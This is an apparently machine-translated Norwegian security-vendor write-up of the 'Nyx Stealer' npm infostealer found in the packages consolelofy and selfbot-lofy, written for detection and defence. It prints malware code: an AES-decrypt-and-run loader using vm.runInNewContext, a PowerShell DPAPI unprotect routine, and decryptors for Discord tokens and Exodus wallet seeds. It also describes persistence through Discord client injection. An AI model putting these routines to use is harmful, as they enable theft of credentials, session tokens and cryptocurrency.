TL; DR
Xygenis sikkerhetsforskningsteam identifiserte en sofistikert npm-infostealerkampanje levert gjennom to ondsinnede pakker: konsollofy og selfbot-lofy.
Den nyeste versjonen (consolelofy@1.3.0) bygger inn en 216KB AES-kryptert nyttelast som dekrypteres under kjøring og kjøres via vm.runInNewContext()Fordi den ondsinnede logikken er fullstendig kryptert, kan ikke statiske skannere som er avhengige av strenginspeksjon observere dens oppførsel før utførelsestidspunktet.
Når nyttelasten er dekryptert, er den internt merket Nyx Stealer, mål:
- Discord-autentiseringstokener
- 50+ nettleserlegitimasjonsbutikker
- 90+ kryptovaluta-lommebokutvidelser
- Roblox, Instagram, Spotify, Steam, Telegram og TikTok-økter
- Discord desktop-klientpersistens
Alle 20 versjonene på tvers av begge pakkene ble rapportert og bekreftet som skadelige.
Teknisk oversikt over denne npm-infostealeren
I motsetning til tradisjonell skadelig programvare på installasjonstidspunktet, er denne kampanjen avhengig av en runtime dekrypteringsmodell.
Det er:
- Ingen ondsinnet
preinstallorpostinstallhooks - Ingen åpenbare nettverkskall under installasjon
- Ingen logikk for innsamling av legitimasjon i klartekst
Nyttelasten aktiveres når modulen importeres. Hele den skadelige delen krypteres og materialiseres bare i minnet under kjøretid.
Denne designen unngår spesifikt deteksjon under pakkeinstallasjon.
Hvordan denne npm-infostealeren faktisk kjøres
Før vi analyserer hva Nyx Stealer stjeler, må vi forstå hvordan den utføres.
Den ondsinnede logikken i denne npm-infostealeren følger et konsistent mønster:
En liten laster dekrypterer en stor kryptert nyttelast og kjører den dynamisk i en Node.js VM-kontekst.
Denne utformingen er bevisst. Angriperen skjuler ikke funksjonalitet bak bare obfuskasjon, de er fjerner skadelig kode fullstendig fra statisk synlighet.
Høynivåutførelsesmodell
På et overordnet nivå gjør innpakningen fire ting:
- Utleder en AES-nøkkel fra en hardkodet passordfrase ved hjelp av SHA-256
- Dekrypterer en stor heksadesimal krypteringstekst ved hjelp av AES-256-CBC
- Kjører den dekrypterte JavaScript-koden ved hjelp av
vm.runInNewContext() - Tilbyr en sandkasse som fortsatt eksponerer kraftige runtime-primitiver
Sammendrag av kjerneteknikk
| Komponent | Konfigurasjon / Verdi |
|---|---|
| Algoritme | AES-256-CBC |
| Nøkkelavledning | SHA-256 (passordfrase) |
| Initialiseringsvektor (IV) | 16 byte med 0x00 |
| Gjennomføring | vm.runInNewContext(dekryptert, sandkasse) |
Kritisk sett går sandkassen gjennom:
requireprocessBuffer- tidtakere
- moduleksport
Dette betyr at den dekrypterte nyttelasten beholder full kapasitet til å:
- Gyteprosesser
- Les og skriv filer
- Ring nettverksanrop
- Endre lokale applikasjoner
Dette er ikke en begrenset VM. Det er en VM som brukes som en henrettelsestrampoline.
Kjøretidskrypteringsmønster (kjerneutførelsesmekanisme)
Lasteren er liten.
Den ondsinnede kroppen er ikke.
Nedenfor er utførelsesmønsteret som finnes i pakken:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Hvorfor dette Matters
Den dekrypterte nyttelasten:
- Betyr ikke finnes i klartekst i npm-pakken
- Er usynlig for enkle
grepeller statisk strengskanning - Materialiseres kun i minnet under kjøring
- Kjøres med full Node runtime-funksjonalitet
Denne AES + VM-kjøringskombinasjonen er en sterk atferdsindikator på en npm-infotyver forsøker å unngå statisk inspeksjon.
Med andre ord:
Hvis du skanner pakkekildetreet, ser du ingen stjeler.
Du ser en dekrypteringsprogram.
Hva skjer etter dekryptering
Når den er utført, starter Nyx Stealer parallelle datainnsamlingsbølger.
Bølge 1: Utvinning av nettleserlegitimasjon
Skadevaren:
- Laster ned en Python-kjøretidsfil fra NuGet CDN
- Installerer kryptografiske biblioteker
- Uttrekker Chromium-baserte legitimasjonslagre
- Dekrypterer DPAPI-beskyttede hemmeligheter
I stedet for å kompilere native bindinger, bruker den PowerShell til å kalle Windows DPAPI direkte.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Denne tilnærmingen:
- Unngår kompileringsartefakter
- Bruker innebygde Windows-krypto-API-er
- Blandes inn i administrative verktøy
Det er dekryptering av legitimasjon på OS-nivå, ikke skraping.
Bølge 2: Discord-token-dekryptering
Tyveren er protokollbevisst. Den forstår Discords krypterte tokenformat.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Driftsflyt:
- Hent ut hovednøkkelen fra Discord
Local State - Dekrypter hovednøkkelen via DPAPI
- Dekrypter AES-GCM-tokenblober
- Valider tokener mot Discord API
- Berik med Nitro, merker og faktureringsinformasjon
Dette er ikke generisk legitimasjonsdumping. Det er protokollbevisst øktkapring.
Bølge 3: Målretting av kryptovaluta-lommebøker
npm-infostealeren lister opp:
- 90+ utvidelser for nettleserlommebøker
- 27 skrivebordslommebøker
- Kalde lommebokbaner
- Exodus-frøfiler
Eksempel på forsøk på frødekryptering:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Hvis det lykkes, er lommebokkompromitteringen umiddelbar og irreversibel.
Dette representerer kampanjens inntektsvektor med høyest verdi.
Persistens via Discord Desktop Injection
Etter å ha samlet inn legitimasjonsinformasjon, forsøker Nyx Stealer å bevare vedholdenheten ved å endre den lokale Discord klient.
Mål:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operasjonell sekvens
Infotyveren utfører følgende trinn:
- Avslutter kjørende Discord-prosesser
- Finner installerte Discord-varianter (Stable, Canary, PTB)
- Overskriver
discord_desktop_core/index.js - Injiserer angriperstyrt webhook-logikk
- Starter Discord på nytt
Dette sikrer at fremtidige Discord-økter automatisk lekker nye autentiseringstokener.
Det er viktig at denne utholdenheten ikke er avhengig av planlagte oppgaver eller registermodifikasjoner. Den utnytter kodemodifikasjon på applikasjonsnivå, en mer diskret tilnærming.
Selv om den skadelige npm-pakken senere fjernes, forblir Discord-klienten kompromittert.
Teknisk sammenligning: Legitim Selfbot vs. npm Infostealer
| Komponent | Legitim bibliotek | Nyx npm Infostealer |
|---|---|---|
| kryptering | none | Full AES-kryptert nyttelast |
| Kjøretids-VM | Ikke obligatorisk | vm.runInNewContext gjennomføring |
| Legitimasjonstilgang | Kun Discord API | Nettleser, lommebøker, DPAPI |
| Eksterne nedlastinger | Nei | Python-kjøretid via NuGet |
| Utholdenhet | Nei | Discord-klientinjeksjon |
| inntjenings | Botautomatisering | Videresalg av legitimasjon |
Krypteringslaget alene skiller allerede denne kampanjen fra en typisk åpen kildekode-fork.
En legitim Discord-selfbot har ingen grunn til å kryptere hele kodebasen sin, starte PowerShell for å få tilgang til DPAPI, laste ned eksterne kjøretider eller endre interne funksjoner i skrivebordsapplikasjoner. Når disse funksjonene vises i en avhengighet som hevder å automatisere Discord-interaksjoner, blir det umulig å ignorere den arkitektoniske uoverensstemmelsen.
Fra et etterforskningsperspektiv etterlater denne npm-infotyveren spor på tvers av flere lag. De mest pålitelige indikatorene er imidlertid ikke hardkodede URL-er eller spesifikke filstier, siden disse kan endres mellom versjoner. I stedet er de varige signalene strukturelle.
På pakkenivå er det sterkeste røde flagget kombinasjonen av en stor kryptert nyttelast og en runtime-dekrypteringsinnpakning som umiddelbart kjøres via vm.runInNewContext()Selv om kryptering alene ikke er iboende skadelig, er det svært uvanlig å bruke AES-dekryptering etterfulgt av dynamisk VM-kjøring i en Discord-verktøypakke.
På vertsnivå inkluderer mistenkelige mønstre uventet DPAPI-dekrypteringsaktivitet, prosessutvikling fra en Node.js-avhengighetskontekst og modifisering av lokale applikasjonsfiler som aldri skal endres av tredjepartsbiblioteker. På nettverkslaget representerer utgående webhook-lignende kommunikasjon initiert av en utviklingsavhengighet en annen betydelig anomali.
Med andre ord er ikke deteksjonsflaten en enkelt indikator på kompromittering. Det er korrelasjonen mellom kryptering, kjøretidsutførelse, tilgang til påloggingsinformasjon og vedvarende atferd som avslører trusselen.
Deteksjon og begrensning med Xygeni
Denne npm-infotyveren ble identifisert av Xygenis tidlige advarsel om skadelig programvare (MEW) gjennom lagdelt atferdskorrelasjon i stedet for enkel signaturmatching.
I stedet for å søke etter kjente ondsinnede strenger, evaluerer MEW strukturelle avvik på tvers av hele kildetreet. I dette tilfellet oppsto deteksjonen fra konvergensen av flere signaler: en innebygd AES-dekrypteringsrutine i modulens inngangspunkt, umiddelbar utførelse i en VM-kontekst og et klart misforhold mellom evne og intensjon.
Det er viktig å merke seg at ingen av disse signalene alene beviser ondsinnet hensikt. Når de imidlertid analyseres sammen, avslører de et forsøk på å skjule kjøretidsatferd. Denne lagdelte tilnærmingen reduserer falske positiver betydelig, samtidig som den identifiserer trusler i forsyningskjeden med høy tillit.
Videre illustrerer dette tilfellet hvorfor inspeksjon under installasjon alene ikke er tilstrekkelig. Den ondsinnede logikken finnes ikke i livssyklusskript. Den aktiveres først etter at modulen lastes inn, og blir først synlig når den dekrypteres i minnet. Derfor krever effektivt forsvar krypteringsbevisst analyse, gjenkjenning av atferdsmønstre og kontinuerlig avhengighetsovervåking utover installasjonshendelser.
Fjerning av registeret er reaktiv. Kjøretidsbevisst analyse er forebyggende.
Hvorfor denne npm-infotyveren er viktig
Nyx Stealer representerer en strukturell evolusjon innen npm-basert skadelig programvare.
Historisk sett var mange skadelige pakker avhengige av synlige skript under installasjon eller åpenbare endepunkter for påloggingsuttrekk. Denne kampanjen krypterer derimot nyttelasten, utsetter kjøringen til kjøretid, utnytter legitime operativsystem-API-er og etablerer persistens i klarerte applikasjoner.
Følgelig trenger ikke angriperen å utnytte selve npm-infrastrukturen. I stedet lykkes angrepet fordi avhengighetsinstallasjon innebærer tillit. Utviklere antar at import av et bibliotek er en sikker operasjon, spesielt når det presenterer seg som en plausibel forgrening av et populært verktøy.
Etter hvert som økosystemer fortsetter å vokse og gafler sprer seg, blir denne implisitte tillitsgrensen en stadig mer attraktiv angrepsflate. Derfor krever forsvar mot moderne npm-infotyvere å gjenkjenne arkitektoniske mønstre i stedet for å søke etter statiske strenger.
Til syvende og sist forsterker denne kampanjen en viktig lærdom i software supply chain securityDe farligste truslene er ikke de som ser ondsinnede ut ved første øyekast, men de som virker strukturelt legitime inntil kjøretiden avslører deres sanne oppførsel.




